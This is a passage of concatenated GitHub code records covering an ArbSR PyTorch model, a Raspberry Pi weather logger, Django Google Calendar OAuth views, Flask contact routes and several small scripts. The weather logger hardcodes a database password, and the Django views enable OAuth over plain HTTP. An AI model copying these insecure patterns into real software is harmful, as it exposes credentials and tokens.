nn.BatchNorm2d(1),\n nn.Sigmoid()\n )\n self.adaption = _ScaleAwareConv(channels, channels, 3, 1, \"same\")\n\n def forward(self, x: Tensor, w_scale: Tensor, h_scale: Tensor) -> Tensor:\n identity = x\n\n mask = self.mask(x)\n adaption = self.adaption(x, h_scale, w_scale)\n\n out = torch.mul(adaption, mask)\n out = torch.add(out, identity)\n\n return out\n\n\nclass _ScaleAwareUpsampling(nn.Module):\n def __init__(\n self,\n channels: int,\n bias: bool = False,\n num_experts: int = 4,\n ) -> None:\n super(_ScaleAwareUpsampling, self).__init__()\n self.channels = channels\n self.bias = bias\n self.num_experts = num_experts\n\n # experts\n weight_compress = []\n for i in range(num_experts):\n weight_compress.append(nn.Parameter(torch.Tensor(channels // 8, channels, 1, 1)))\n nn.init.kaiming_uniform_(weight_compress[i], a=math.sqrt(5))\n self.weight_compress = nn.Parameter(torch.stack(weight_compress, 0))\n\n weight_expand = []\n for i in range(num_experts):\n weight_expand.append(nn.Parameter(torch.Tensor(channels, channels // 8, 1, 1)))\n nn.init.kaiming_uniform_(weight_expand[i], a=math.sqrt(5))\n self.weight_expand = nn.Parameter(torch.stack(weight_expand, 0))\n\n # Feature layer\n self.features = nn.Sequential(\n nn.Conv2d(4, 64, (1, 1), (1, 1), (0, 0)),\n nn.ReLU(True),\n nn.Conv2d(64, 64, (1, 1), (1, 1), (0, 0)),\n nn.ReLU(True),\n )\n\n # Offset layer\n self.offset = nn.Conv2d(64, 2, (1, 1), (1, 1), (0, 0))\n\n # Routing layer\n self.routing = nn.Sequential(\n nn.Conv2d(64, num_experts, (1, 1), (1, 1), (0, 0)),\n nn.Sigmoid()\n )\n\n def forward(self, x: Tensor, w_scale: Tensor, h_scale: Tensor) -> Tensor:\n device = x.device\n batch_size, channels, height, width = x.size()\n\n # HR coordinates space\n coord_hr = [torch.arange(0, round(height * h_scale), 1).unsqueeze(0).float().to(device),\n torch.arange(0, round(width * w_scale), 1).unsqueeze(0).float().to(device)]\n\n # Accord HR coordinates space calculate LR coordinates space\n coord_height = ((coord_hr[0] + 0.5) / h_scale) - (torch.floor((coord_hr[0] + 0.5) / h_scale + 1e-3)) - 0.5\n coord_height = coord_height.permute(1, 0)\n coord_width = ((coord_hr[1] + 0.5) / w_scale) - (torch.floor((coord_hr[1] + 0.5) / w_scale + 1e-3)) - 0.5\n\n feature_coord = torch.cat((\n torch.ones_like(coord_height).expand([-1, round(w_scale * width)]).unsqueeze(0) / w_scale,\n torch.ones_like(coord_height).expand([-1, round(w_scale * width)]).unsqueeze(0) / h_scale,\n coord_height.expand([-1, round(w_scale * width)]).unsqueeze(0),\n coord_width.expand([round(h_scale * height), -1]).unsqueeze(0)\n ), 0).unsqueeze(0)\n\n # Prediction filters\n embedding = self.features(feature_coord)\n routing_weights = self.routing(embedding)\n\n routing_weights = routing_weights.view(self.num_experts, round(h_scale * height) * round(w_scale * width))\n routing_weights = routing_weights.transpose(0, 1)\n\n weight_compress = self.weight_compress.view(self.num_experts, -1)\n weight_compress = torch.matmul(routing_weights, weight_compress)\n weight_compress = weight_compress.view(1,\n round(h_scale * height),\n round(w_scale * width),\n self.channels // 8,\n self.channels)\n\n weight_expand = self.weight_expand.view(self.num_experts, -1)\n weight_expand = torch.matmul(routing_weights, weight_expand)\n weight_expand = weight_expand.view(1,\n round(h_scale * height),\n round(w_scale * width),\n self.channels,\n self.channels // 8)\n\n # Prediction offsets\n offset = self.offset(embedding)\n\n # A k×k neighborhood centered at (L(x) + δx, L(y) + δy) is\n # sampled using bilinear interpolation and convolved with the\n # predicted filters to produce the output features at (x, y).\n # Grid sample\n feature_grid = _grid_sample(x, offset, h_scale, w_scale)\n feature = feature_grid.unsqueeze(-1).permute(0, 2, 3, 1, 4)\n\n # Spatially-varying filtering\n out = torch.matmul(weight_compress.expand([batch_size, -1, -1, -1, -1]), feature)\n out = torch.matmul(weight_expand.expand([batch_size, -1, -1, -1, -1]), out)\n out = out.squeeze(-1) # B*H*W*C*1 convert B*H*W*C\n\n out = out.permute(0, 3, 1, 2)\n out = torch.add(out, feature_grid)\n\n return out\n\n\nclass _ChannelAttentionLayer(nn.Module):\n def __init__(self, channel: int, reduction: int):\n super(_ChannelAttentionLayer, self).__init__()\n self.channel_attention_layer = nn.Sequential(\n nn.AdaptiveAvgPool2d(1),\n nn.Conv2d(channel, channel // reduction, (1, 1), (1, 1), (0, 0)),\n nn.ReLU(True),\n nn.Conv2d(channel // reduction, channel, (1, 1), (1, 1), (0, 0)),\n nn.Sigmoid(),\n )\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n identity = x\n\n out = self.channel_attention_layer(x)\n\n out = torch.mul(out, identity)\n\n return out\n\n\nclass _ResidualChannelAttentionBlock(nn.Module):\n def __init__(self, channel: int, reduction: int):\n super(_ResidualChannelAttentionBlock, self).__init__()\n self.residual_channel_attention_block = nn.Sequential(\n nn.Conv2d(channel, channel, (3, 3), (1, 1), (1, 1)),\n nn.ReLU(True),\n nn.Conv2d(channel, channel, (3, 3), (1, 1), (1, 1)),\n _ChannelAttentionLayer(channel, reduction),\n )\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n identity = x\n\n out = self.residual_channel_attention_block(x)\n\n out = torch.add(out, identity)\n\n return out\n\n\nclass _ResidualGroup(nn.Module):\n def __init__(self, channel: int, reduction: int, num_rcab: int):\n super(_ResidualGroup, self).__init__()\n residual_group = []\n\n for _ in range(num_rcab):\n residual_group.append(_ResidualChannelAttentionBlock(channel, reduction))\n residual_group.append(nn.Conv2d(channel, channel, (3, 3), (1, 1), (1, 1)))\n\n self.residual_group = nn.Sequential(*residual_group)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n identity = x\n\n out = self.residual_group(x)\n\n out = torch.add(out, identity)\n\n return out\n\n\ndef arbsr_rcan(**kwargs: Any) -> ArbSRRCAN:\n model = ArbSRRCAN(**kwargs)\n\n return model\n","repo_name":"Lornatang/ArbSR-PyTorch","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16888418772","text":"\"\"\" \r\ngroffle.py: Program for optimization. Python 4, Lesson 5. \r\n\r\nCalculates the groffle speed of a knurl widget \r\nof average density given by user input.\r\n\r\nResults rounded to 12 decimal places allows a significant optimization of the\r\ncalculating algorithms for groffle_faster.\r\n\"\"\" \r\n\r\nfrom math import log \r\nfrom timeit import Timer\r\n\r\ndef groffle_slow(mass, density): \r\n total = 0.0 \r\n for i in range(10000): \r\n masslog = log(mass * density) \r\n total += masslog/(i+1)\r\n\r\n return round(total, 12)\r\n\r\ndef groffle_fast(mass, density): \r\n M_D = log(mass * density)\r\n return round(sum([M_D/i for i in range(1, 10001)]), 12)\r\n\r\ndef groffle_faster(mass, density): \r\n M_D = log(mass * density)\r\n SUM = sum(map(int(1).__truediv__, range(1,10001)))\r\n return round(M_D * SUM, 12)\r\n \r\ndef groffle_fastest(mass, density):\r\n # based on https://math.stackexchange.com/questions/496116/is-there-a-partial-sum-formula-for-the-harmonic-series\r\n M_D = log(mass * density)\r\n EULER_MASCHERONI = 0.57721566490153286060651209008240243104215933593992\r\n SUM = log(10000) + EULER_MASCHERONI + 1/(2 * 10000) - 1/(12 * (10000**2))\r\n return round(M_D * SUM, 12)\r\n\r\nmass = 2.5\r\ndensity = 12.0\r\npasses = 5\r\ntimeit_number = 1000\r\n\r\nif __name__ == \"__main__\":\r\n for i in range(passes):\r\n # make sure results stay the same\r\n groffle_speed1 = groffle_slow(mass, density)\r\n groffle_speed2 = groffle_fast(mass, density)\r\n groffle_speed3 = groffle_faster(mass, density)\r\n groffle_speed4 = groffle_fastest(mass, density)\r\n \r\n timer1 = Timer(\"total1 = groffle_slow(mass, density)\", \r\n \"from __main__ import groffle_slow, mass, density\")\r\n time1 = timer1.timeit(number=timeit_number)\r\n \r\n timer2 = Timer(\"total2 = groffle_fast(mass, density)\", \r\n \"from __main__ import groffle_fast, mass, density\")\r\n time2 = timer2.timeit(number=timeit_number)\r\n \r\n timer3 = Timer(\"total3 = groffle_faster(mass, density)\", \r\n \"from __main__ import groffle_faster, mass, density\")\r\n time3 = timer3.timeit(number=timeit_number)\r\n \r\n timer4 = Timer(\"total4 = groffle_fastest(mass, density)\", \r\n \"from __main__ import groffle_fastest, mass, density\")\r\n time4 = timer4.timeit(number=timeit_number)\r\n \r\n print(\"\\n{0} Run {1} {2}\". format(25 * \"-\", i + 1, 25 * \"-\"))\r\n \r\n if groffle_speed1 == groffle_speed2 == groffle_speed3 == groffle_speed4:\r\n print(\"All groffle speed results agree to 12 decimal places.\\nIt is: \",\r\n groffle_speed1, \"\\n\")\r\n \r\n print(\"groffle_slow time: \", time1, \"Speed Factor: 1.00\")\r\n print(\"groffle_fast time: \", time2, \"Speed Factor:\", round(time1/time2, 2))\r\n print(\"groffle_faster time:\", time3, \"Speed Factor:\", round(time1/time3, 2))\r\n print(\"groffle_fastest time:\", time4, \"Speed Factor:\", round(time1/time4, 2))\r\n \r\n else:\r\n print(\"groffle speed results do not agree. They are:\\n\"\r\n \"\\ngroffle_slow result: \", groffle_speed1,\r\n \"\\ngroffle_faster result: \", groffle_speed2,\r\n \"\\ngroffle_fastest result:\", groffle_speed3,\r\n \"\\ngroffle_fastest result:\", groffle_speed4)","repo_name":"MTset/Python-Programming-Coursework","sub_path":"Python 04: Advanced Python/Lesson 05: Optimizing Your Code/groffle.py","file_name":"groffle.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74289950594","text":"from datetime import date, datetime\nimport random, time, mysql.connector\nfrom sense_hat import SenseHat\n\nsense = SenseHat()\n\nclass Weather:\n\n def __init__(self, temp_val, humi_val, press_val):\n self.temp_val = temp_val\n self.humi_val = humi_val\n self.press_val = press_val\n\nwhile True:\n current = datetime.now()\n db = mysql.connector.connect(user = 'weather_user', password ='weather2023', port = 3306, database='weather_database')\n cursor = db.cursor()\n\n my_weather = Weather(int(sense.get_temperature()),int(sense.get_humidity()),int(sense.get_pressure()))\n\n print(current, \"\\t\", my_weather.temp_val, \"\\t\\t\", my_weather.humi_val, \"\\t\\t\", my_weather.press_val)\n time.sleep(3)\n\n\n add_weather = (\"INSERT INTO weather_table \"\n \"(temp, humidity, pressure) \"\n \"VALUES (%(temp)s, %(humidity)s,%(pressure)s)\")\n\n data_weather = {\n 'temp': my_weather.temp_val,\n 'humidity': my_weather.humi_val,\n 'pressure': my_weather.press_val\n\n }\n cursor.execute(add_weather, data_weather)\n weather_id = cursor.lastrowid\n\n db.commit()\n","repo_name":"TerryDennisonJr/github_RaspberryPi","sub_path":"Weather_pi/pi_weather.py","file_name":"pi_weather.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7632567176","text":"#script to calculate keyword_density\n\n#include libs\nimport sys\nsys.path.insert(0, '..')\nfrom include import *\n\ntoday = date.today()\n\ndef truncate(n, decimals=0):\n multiplier = 10 ** decimals\n return int(n * multiplier) / multiplier\n\ndef keyword_density(hash, query, soup, check_query):\n\n w_counter = 0\n kw_counter = 0\n kw_density = 0\n\n if check_query:\n\n query_split = query.split()\n q_patterns = []\n for q in query_split:\n q_patterns.append('*'+q+'*')\n\n # kill all script and style elements\n for script in soup([\"script\", \"style\"]):\n script.extract() # rip it out\n\n # get text\n text = soup.get_text()\n\n # break into lines and remove leading and trailing space on each\n lines = (line.strip() for line in text.splitlines())\n # break multi-headlines into a line each\n chunks = (phrase.strip() for line in lines for phrase in line.split(\" \"))\n # drop blank lines\n text = ''.join(chunk for chunk in chunks if chunk)\n\n text = ' '.join(text.split())\n\n source_list = text.split(' ')\n\n w_counter = len(source_list)\n\n kw_counter = 0\n\n for q in q_patterns:\n for w in source_list:\n if Helpers.matchText(w, q):\n kw_counter = kw_counter + 1\n\n kw_density = kw_counter / w_counter * 100\n\n kw_density = truncate(kw_density, 3)\n\n kw_counter_v = str(kw_counter)\n w_counter_v = str(w_counter)\n kw_density_v = str(kw_density)\n\n module = \"check kw_count\"\n value = kw_counter_v\n\n check_evaluations_result(hash, module, value)\n\n\n module = \"check word_count\"\n value = w_counter_v\n\n check_evaluations_result(hash, module, value)\n\n\n module = \"check kw_density\"\n value = kw_density_v\n\n check_evaluations_result(hash, module, value)\n","repo_name":"searchstudies/seoeffekt","sub_path":"apps/indicators/keyword_density.py","file_name":"keyword_density.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16543665749","text":"from django.shortcuts import redirect\nfrom django.views import View\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.errors import HttpError\nfrom googleapiclient.discovery import build\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nimport os\n\n# Create your views here.\nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n\nclass GoogleCalendarInitView(View):\n def get(self, request):\n flow = InstalledAppFlow.from_client_secrets_file(\n 'client_secret.json',\n scopes=['https://www.googleapis.com/auth/calendar.events'],\n )\n\n flow.redirect_uri = 'https://googlecalendar.mdshahzar.repl.co/rest/v1/calendar/redirect/'\n\n authorization_url, state = flow.authorization_url(\n access_type='offline',\n include_granted_scopes='true',\n )\n\n request.session['state'] = state\n return redirect(authorization_url)\n\n\nclass GoogleCalendarRedirectView(APIView):\n def get(self, request, *args, **kwargs):\n\n state = request.GET.get('state')\n if not state:\n return Response(status=400,\n data={'message': 'Invalid state parameter'})\n\n flow = InstalledAppFlow.from_client_secrets_file(\n 'client_secret.json',\n scopes=['https://www.googleapis.com/auth/calendar.events'],\n state=state,\n )\n flow.redirect_uri = 'https://googlecalendar.mdshahzar.repl.co/rest/v1/calendar/redirect/'\n\n try:\n authorization_response = request.build_absolute_uri()\n flow.fetch_token(authorization_response=authorization_response)\n except HttpError as error:\n return Response(status=400,\n data={'message': f'An error occured: {error}'})\n\n try:\n service = build('calendar',\n 'v3',\n credentials=flow.credentials,\n static_discovery=False)\n events_result = service.events().list(\n calendarId='primary',\n timeMin='2023-04-23T00:00:00Z',\n maxResults=10,\n singleEvents=True,\n orderBy='startTime').execute()\n events = events_result.get('items', [])\n except HttpError as error:\n return Response(status=400,\n data={'message': f'An error occurred: {error}'})\n\n return Response(status=200, data={'data': events})\n","repo_name":"Shaaz-Me/Google-Calendar-Event","sub_path":"google_calendar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8137157439","text":"import numpy as np\nimport glob\nimport os\nimport matplotlib.pyplot as plt\n\ncolor_dictionary = {\n 0: \"#1F618D\", 1: \"#F322CD\", 2: \"#0E0F0F\", 3: \"#7FB3D5\", 4: \"#22DAF3\",\n 5: \"#5B2C6F\", 6: \"#800000\", 7: \"#008000\", 8: \"#008000\", 9: \"#E74C3C\",\n 10: \"#D35400\", 11: \"#800000\", 12: \"#2980B9\", 13: \"#F1948A\", 14: \"#1C2833\",\n 15: \"#E74C3C\", 16: \"#0000FF\" \n}\n\nmarker_dictionary = {\n 0:\"o\", 1:\"^\", 2:\"D\", 3:\"x\", 4:\">\", 5:\"1\", 6:\"p\", 7:\"P\", 8:\"*\"\n}\ndef get_txt_path(dqn_path_n):\n\n '''\n\n input: dqn_path_n = './results/DQN_data/5/'\n output: ['./results/DQN_data/5/eachstep50.226368.txt', './results/DQN_data/5/eachstep50.232696.txt']\n\n '''\n\n data_path = glob.glob(dqn_path_n + '*')\n base_names = []\n\n for txt in data_path:\n base_names.append(os.path.basename(txt))\n each_step_txt = []\n\n for txt in base_names:\n if txt.startswith('eachstep'):\n each_step_txt.append(txt)\n\n path_to_txt = [dqn_path_n + txt for txt in each_step_txt]\n return path_to_txt\n\ndef read_data_from_txt(path_to_single_txt):\n '''\n input: ./results/DQN_data/5/eachstep50.226368.txt\n '''\n str_data = []\n line_count = 1\n with open(path_to_single_txt, 'r') as f:\n for line in f:\n if line.startswith('-'):\n str_data.append(line)\n line_count += 1\n else:\n str_data[line_count - 2] = str_data[line_count - 2] + line\n \n step_threshold = []\n for i in range(len(str_data)):\n number = np.float(str_data[i].split('\\n')[0].split('_')[0])\n step_threshold.append(number)\n\n return step_threshold\n\ndef plot_n_bit_dqn(ax, dqn_path_n, n, linewidth = 3.0, scatter_space = 100, smooth_index=60):\n '''\n input: dqn_path_n = '../results/DQN_data/5/'\n '''\n path_to_txt = get_txt_path(dqn_path_n)\n\n num_curves = len(path_to_txt)\n if num_curves > 4:\n num_curves = 4\n\n ax.set_xlabel('#step', fontsize = 30)\n ax.set_ylabel('reward', fontsize = 30)\n #ax.set_title('{0}-bit'.format(n), fontsize = 20)\n\n # read_data\n data = []\n data_length = []\n\n for i in range(num_curves):\n step_threshold = read_data_from_txt(path_to_txt[i])\n step_len = len(step_threshold)\n ##### smoothing #####\n smooth_array = np.zeros(step_len)\n for ele in range(step_len):\n smooth_array[ele] = np.array([j for j in step_threshold[ele:ele+smooth_index]]).mean()\n\n data.append(smooth_array)\n data_length.append(step_len)\n \n\n min_length = min(data_length)\n data_reshape = np.zeros((num_curves, min_length))\n\n for i in range(num_curves):\n data_reshape[i] = data[i][0:min_length]\n \n data = data_reshape\n index = [i for i in range(min_length)]\n label = ['{}-run'.format(i+1) for i in range(num_curves)]\n\n for num in range(num_curves):\n ax.plot(index, data[num][:], color=color_dictionary[num], linewidth= linewidth)\n\n x_scatter = np.linspace(0, min_length-1, int(min_length/scatter_space), dtype=np.int)\n y_scatter = data[num][x_scatter]\n ax.scatter(x_scatter, y_scatter, color=color_dictionary[num], label=label[num], marker=marker_dictionary[num],s=100)\n\n \n ax.legend(loc='lower right', fontsize = 20,markerscale=1.2)\n\n\n for label in ax.xaxis.get_ticklabels():\n label.set_fontsize(20)\n for label in ax.yaxis.get_ticklabels():\n label.set_fontsize(20)\n \n\n plt.savefig('{}-bit-dqn.jpg'.format(n), dpi = 100, bbox_inches='tight')\n \n \n\n\n\nif __name__ == '__main__':\n fig, ax = plt.subplots(1, 1, figsize = (25, 16))\n #ax_count = 0\n #for nbit in [5, 6, 7, 9, 11]:\n nbit = 11\n dqn_path_n = '../results/DQN_data/{}/'.format(nbit)\n plot_n_bit_dqn(ax, dqn_path_n, nbit)\n \n \n","repo_name":"NemoHimma/ZeroRL","sub_path":"nqubit/plot/plot_dqn.py","file_name":"plot_dqn.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20503609305","text":"#Q9- Write a function called matches that takes two strings as arguments and returns how many\r\n# matches there are between the strings. A match is where the two strings have the same character\r\n# at the same index. For instance, 'python' and 'path' match in the first, third, and fourth characters,\r\n# so the function should return 3.\r\ndef match(sr1, sr2): #func match have 2 string argumnet\r\n s1 = set(sr1) #convert in set\r\n s2 = set(sr2)\r\n mcs = s1 & s2\r\n print(\"No. of matching characters are : \" + str(len(mcs))) #return match string\r\n\r\n\r\nstr1 = input(\"ENter string 1: \") # first string\r\nstr2 = input(\"Enter string 2: \") # second string\r\n\r\n# call count function\r\nprint(match(str1,str2))\r\nprint(\"string1: {}, string2: {} \".format(str1,str2))\r\n\r\n\r\n# Q10- Write a function called change_case that given a string, returns a string with each upper case\r\n# letter replaced by a lower-case letter and vice-versa.\r\n\r\ndef change_case(): #func which swap change case of string\r\n\r\n lstring = input(\"Enter lower case string for getting upper case: \")\r\n print(lstring.swapcase())\r\n\r\n Ustring = input(\"Enter upper case string for getting lower case: \")\r\n print(Ustring.swapcase())\r\n\r\n# s = input(\"Enter a string\")\r\n# for i in range(len(s)):\r\n# if s[i].lower():\r\n# print(s[i].upper())\r\n# if s[i].upper():\r\n# print(s[i].lower())\r\n\r\nprint(change_case())\r\n\r\n# Q11- Write a function called is_sorted that is given a list and returns True if the list is sorted and\r\n# False otherwise.\r\ndef is_sorted(lt): #take parameter list\r\n return lt == sorted(lt) #return true or false according to condition\r\n\r\n#take list elements from user\r\nls=[]\r\nnum = int(input(\"Enter range of list: \"))\r\nfor _ in range(num):\r\n pl = input(\"Enter numbers: \")\r\n ls.append(pl)\r\n\r\nprint(ls) #print list\r\n# list= [23,31,55,4,7,8]\r\nprint(is_sorted(ls))\r\n\r\n\r\n\r\n\r\n#\r\n\r\n\r\n\r\n\r\n","repo_name":"salmaShahid/PythonCourse","sub_path":"Lec5ExerciseQ9-Q11.py","file_name":"Lec5ExerciseQ9-Q11.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37464325678","text":"def object_full_name(item):\n \"\"\"\n Return the object's class full name, including module.\n\n Taken from https://stackoverflow.com/questions/37568128/\n get-fully-qualified-name-of-a-python-class-python-3-3\n\n with, of course, changes.\n\n :param item: The class or instance of the class.\n :return: A string representation of the class full name.\n \"\"\"\n try:\n qual_name = item.__qualname__\n except AttributeError:\n qual_name = item.__class__.__qualname__\n return item.__module__ + '.' + qual_name\n","repo_name":"after5cst/thread_meeting","sub_path":"example/worker/base/object_full_name.py","file_name":"object_full_name.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3829563666","text":"import state\nimport mapDrawer\n\n\ndef transferprovince(directory, statedict, provinceid, newstate, countrydict):\n for state in statedict:\n if provinceid in (int(num) for num in state[\"provinces\"]):\n state[\"provinces\"].remove(str(provinceid))\n break\n statedict[newstate][\"provinces\"] += [str(provinceid)]\n newowner = statedict[newstate][\"owner\"]\n mapDrawer.redrawprovince(directory, str(provinceid), countrydict[newowner][1])\n","repo_name":"DeathByThermodynamics/HOI4-Map-Editor","sub_path":"HOI4test/hoi4/mapEditor.py","file_name":"mapEditor.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"5952355521","text":"from flask import render_template, redirect, flash, url_for\nfrom . import base\nfrom .forms import LoginForm\nfrom config import OPENID_PROVIDERS\nfrom app.models import User,Contact\nfrom app import db\nfrom flask_login import current_user, login_required, logout_user\n\nproviders = OPENID_PROVIDERS\n\n@base.route('/')\ndef index():\n\tif current_user.is_authenticated:\n\t\treturn render_template('base/index.html')\n\telse:\n\t\treturn redirect(url_for('auth.login'))\n\n@base.route('/user/<username>')\n@login_required\ndef user(username):\n\t#login redirects to this function, so contacts are mapped instantly after login\n\tmap_current_user_contacts()\t\n\treturn render_template('base/user.html', requests = len(current_user.already_requestee_id), username=username, title = username, requestable_users=current_user.requestable_users, already_requester_id=current_user.already_requester_id, already_requestee_id = current_user.already_requestee_id, friends = current_user.friends)\n\n@base.route('/login', methods=['GET','POST'])\ndef login():\n\tform = LoginForm()\n\tif form.validate_on_submit():\n\t\tflash('Login requested for OpenID=\"%s\", remember_me=%s' %(form.openid.data, str(form.remember_me.data)))\n\t\treturn redirect('/')\n\t\n\treturn render_template('login.html',form = form, title = 'Sign In',providers=providers)\n\n@base.route('/logout')\n@login_required\ndef logout():\n\tlogout_user()\n\treturn redirect(url_for('auth.login'))\n\n\"\"\"maps the rest of users to the current user's perspective\n\ttakes ID of the users in the DB to make 5 lists\n\t\"\"\"\n@base.before_request\n@login_required\ndef map_current_user_contacts():\n\tusers = User.query.all()\n\tcurrent_user.accepted_requesters = [] \n\tcurrent_user.accepted_requestees = [] \n\tcurrent_user.already_requestee_id = []\n\tcurrent_user.already_requester_id = []\n\tcurrent_user.requestable_users = []\n\tcurrent_user.friends =[]\n\t#lists id of all current_user's friends\n\taccepted_requesters_models=Contact.query.filter_by(accepted=True, requestee_id=current_user.id).all()\n\tfor model in accepted_requesters_models:\n\t\tcurrent_user.accepted_requesters.append(model.requester_id)\n\taccepted_requestees_models=Contact.query.filter_by(accepted=True, requester_id=current_user.id).all()\n\tfor model in accepted_requestees_models:\n\t\tcurrent_user.accepted_requestees.append(model.requestee_id) \n\t\n\t#retrieve the id of all the users who have tried to contact current_user\n\talready_requestee_id_models = Contact.query.filter_by(requestee_id = current_user.id, accepted=False).all()\n\tfor model in already_requestee_id_models:\n\t\tcurrent_user.already_requestee_id.append(model.requester_id)\n\t\n\t#retrieve id of all users current_user has tried to contact\n\talready_requester_id_models = Contact.query.filter_by(requester_id = current_user.id, accepted=False).all()\n\tfor model in already_requester_id_models:\n\t\tcurrent_user.already_requester_id.append(model.requestee_id)\n\t\n\t#generate the available ask for friends list\n\tfor user in users:\n\t\tif user.id not in (current_user.already_requestee_id or current_user.accepted_requestees or current_user.accepted_requesters) and user != current_user:\n\t\t\tcurrent_user.requestable_users.append(user)\t\t\n\t\tif user.id in (current_user.accepted_requestees or current_user.accepted_requesters):\n\t\t\tcurrent_user.friends.append(user)\n\t\t","repo_name":"remyrd/WebProject","sub_path":"app/base/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25310972921","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 7 10:13:32 2023\r\n\r\n@author: NitheshV\r\n\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nnp.seterr(divide = 'ignore') \r\n\r\nlmbda = [0,np.exp(-25),np.exp(-20),np.exp(-14),np.exp(-7),np.exp(-3),1,np.exp(3),np.exp(7)]\r\n\r\n\r\nclass PolynomialRegression:\r\n def __init__(self, train_dat = 'train.dat', test_dat = 'test.dat', dim = 12, k = 6, lmbda = lmbda):\r\n self.train_data = open(train_dat, \"r\").readlines()\r\n self.test_data = open(test_dat, \"r\").readlines()\r\n self.dim = dim\r\n self.w = []\r\n self.lmbda = lmbda\r\n self.k = k\r\n self.ksize = int(len(self.train_data)/self.k)\r\n self.mean = [0]\r\n\r\n self.std = [1]\r\n \r\n \r\n def dataClean(self,data, xu = 0, xsig = 0, yu = 0, ysig = 0):\r\n x = []\r\n y = []\r\n for i in data:\r\n x.append(float(i.split(' ')[0]))\r\n y.append(float(i.split(' ')[1]))\r\n x, xu, xsig = self.normalization(x, u = xu, sig = xsig)\r\n y, yu, ysig = self.normalization(y, u = yu, sig = ysig)\r\n return (x, y),(xu,yu),(xsig, ysig)\r\n \r\n \r\n def normalization(self, data, u = 0, sig = 0):\r\n if u == 0 and sig == 0:\r\n mean = np.mean(data,axis=0)\r\n std = np.std(data,axis=0)\r\n else:\r\n mean = u\r\n std = sig\r\n normalized_data = []\r\n for i in data:\r\n normalized_data.append((i-mean)/std)\r\n return normalized_data, mean, std\r\n \r\n\r\n def inputTransfom(self, x,d):\r\n TinData = []\r\n TinData = np.ones_like(x)\r\n for i in range(1,d+1):\r\n nVec = np.power(x, i)\r\n if len(self.mean) <= i and len(self.mean) <= i:\r\n self.mean.append(np.mean(nVec))\r\n self.std.append(np.std(nVec))\r\n nVec = (nVec - self.mean[-1] )/self.std[-1]\r\n else:\r\n nVec = (nVec - self.mean[i] )/self.std[i]\r\n TinData = np.vstack((TinData, nVec))\r\n TinData = np.transpose(TinData)\r\n return TinData\r\n \r\n def cvScaling(self, d):\r\n for i in range(1,d+1):\r\n xmean = np.mean(self.xtrain[d])\r\n xstd = np.std(self.xtrain[d])\r\n self.xtrain[:,d] = (self.xtrain[:,d] - xmean)/xstd\r\n self.xval[:,d] = (self.xval[:,d] - xmean)/xstd\r\n \r\n ymean = np.mean(self.ytrain)\r\n ystd = np.std(self.ytrain)\r\n self.ytrain = (self.ytrain - ymean)/ystd\r\n self.yval = (self.yval - ymean)/ystd\r\n \r\n \r\n def rmseCal(self, y, yhat, ysig):\r\n return np.sqrt(np.mean(np.power((yhat-y)*ysig,2)))\r\n \r\n \r\n def crossValidationSetGenerator(self,i,x,y):\r\n if i < self.k-1:\r\n self.xtrain = np.delete(x, np.s_[self.ksize*i:self.ksize*(i+1)],0)\r\n self.ytrain = np.delete(y, np.s_[self.ksize*i:self.ksize*(i+1)],0)\r\n self.xval = x[self.ksize*i:self.ksize*(i+1),:]\r\n self.yval = y[self.ksize*i:self.ksize*(i+1)]\r\n else:\r\n self.xtrain = np.delete(x, np.s_[self.ksize*i:],0)\r\n self.ytrain = np.delete(y, np.s_[self.ksize*i:],0)\r\n self.xval = x[self.ksize*i:, :]\r\n self.yval = y[self.ksize*i:]\r\n \r\n def modelEvaluation(self,xt,yt, ysig, w, d):\r\n xtest = self.inputTransfom(xt,d)\r\n ythat = np.dot(xtest,w)\r\n TestRmse = self.rmseCal(yt,ythat, ysig)\r\n print('--> Test Loss: {:0.4f}'.format(TestRmse))\r\n return TestRmse\r\n \r\n def printTable(self, train, val, ridge = False):\r\n if not ridge:\r\n facName = 'Dim'\r\n fac = np.arange(1,self.dim+1)\r\n \r\n else:\r\n facName = 'Lambda'\r\n fac = self.lmbda\r\n print('--> Traning and Validation losses Table:')\r\n print('------------------------------------------')\r\n print (\"{:<23} {:<12}{:<10}\".format(facName,'TrainLoss','ValLoss'))\r\n print('------------------------------------------')\r\n for i in range(len(train)):\r\n print (\"{:<23} : {:.4f} : {:.4f}\".format(fac[i],train[i],val[i]))\r\n print('------------------------------------------')\r\n \r\n def plotResults(self):\r\n (x,y),(xu,yu),(xsig,ysig) = self.dataClean(self.train_data)\r\n x_data = np.arange(1968,2024)\r\n \r\n # Polynomial Regression with LMSE\r\n x_data_nor = (x_data - xu)/xsig\r\n 